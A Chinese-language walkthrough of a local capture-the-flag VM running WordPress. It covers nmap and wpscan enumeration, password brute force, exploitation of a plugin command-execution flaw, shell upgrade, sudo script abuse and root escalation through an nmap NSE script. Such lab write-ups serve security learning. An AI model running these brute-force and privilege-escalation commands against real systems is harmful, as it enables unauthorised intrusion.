信息搜集
nmap -sP 192.168.146.0/24 #找靶机ip
nmap -sS -Pn -A 192.168.146.143 #扫描靶机信息
22和80端口,老朋友了。
先直接访问http://192.168.146.143/,显示http://wordy/。
在C:\Windows\System32\drivers\etc下的HOSTS文件中增加192.168.146.143 wordy
又是wp,直接上wpscan扫描。
wpscan --url http://wordy/ -e u #爆破用户名
爆破出5个用户名admin,jens,graham,sarah,mark
再爆破密码,直接用kali自带的/usr/share/wordlists/rockyou.txt(估计要跑几天)
然后逛逛官网看到了提示
直接冲
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt #提取字典中有k01的数据
wpscan --url http://wordy/ -U admin,jens,graham,sarah,mark -P passwords.txt
#Username: mark, Password: helpdesk01
getFlag
用获得的账号在http://wordy/wp-login.php登陆
浏览下,发现一个可疑的功能Activity monitor,直接searchsploit搜索下。
看到一个很符合的,再看看他的html文件。
看来是一个命令执行了,直接提取到poc.html文件,改下action和执行的命令就可以用了。
python -c 'import pty; pty.spawn("/bin/bash") #使用交互式命令行'
接下来同样思路,先去看看/home下的几个用户。
在mark目录下发现工作日志,里面也有gramham的密码。
su graham #直接切换用户,密码GSo7isUM1D4
然后再浏览下其他三个用户的东西,没发现什么。
这时候考虑提权看看 sudo -l
,发现可以免密执行jens的命令 /home/jens/backups.sh
那么执行这个脚本的时候会以jens用户来执行,方法:sudo -u jens /home/jens/backups.sh
我们让jens执行/bin/bash不就直接得到了jens的shell了吗?
echo "/bin/bash" > backups.sh #写入文件
sudo -u jens /home/jens/backups.sh
emmm.....可以以root身份运行nmap,nmap能干的事很多来着。。。搜索一下。
主要有两种方法:使用--interactive选项,或者写一个nse脚本
参考p牛的文章:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
这里的nmap比较新没有--interactive选项了,所以从nse脚本入手
echo 'os.execute("/bin/sh")' > A1oe.nse #写脚本
sudo /usr/bin/nmap --script=/home/jens/A1oe.nse #使用nmap
总结
本次靶机也并不难,主要自己走了一遍nmap提权。
主要有两个方法:--interactive选项还有nse脚本。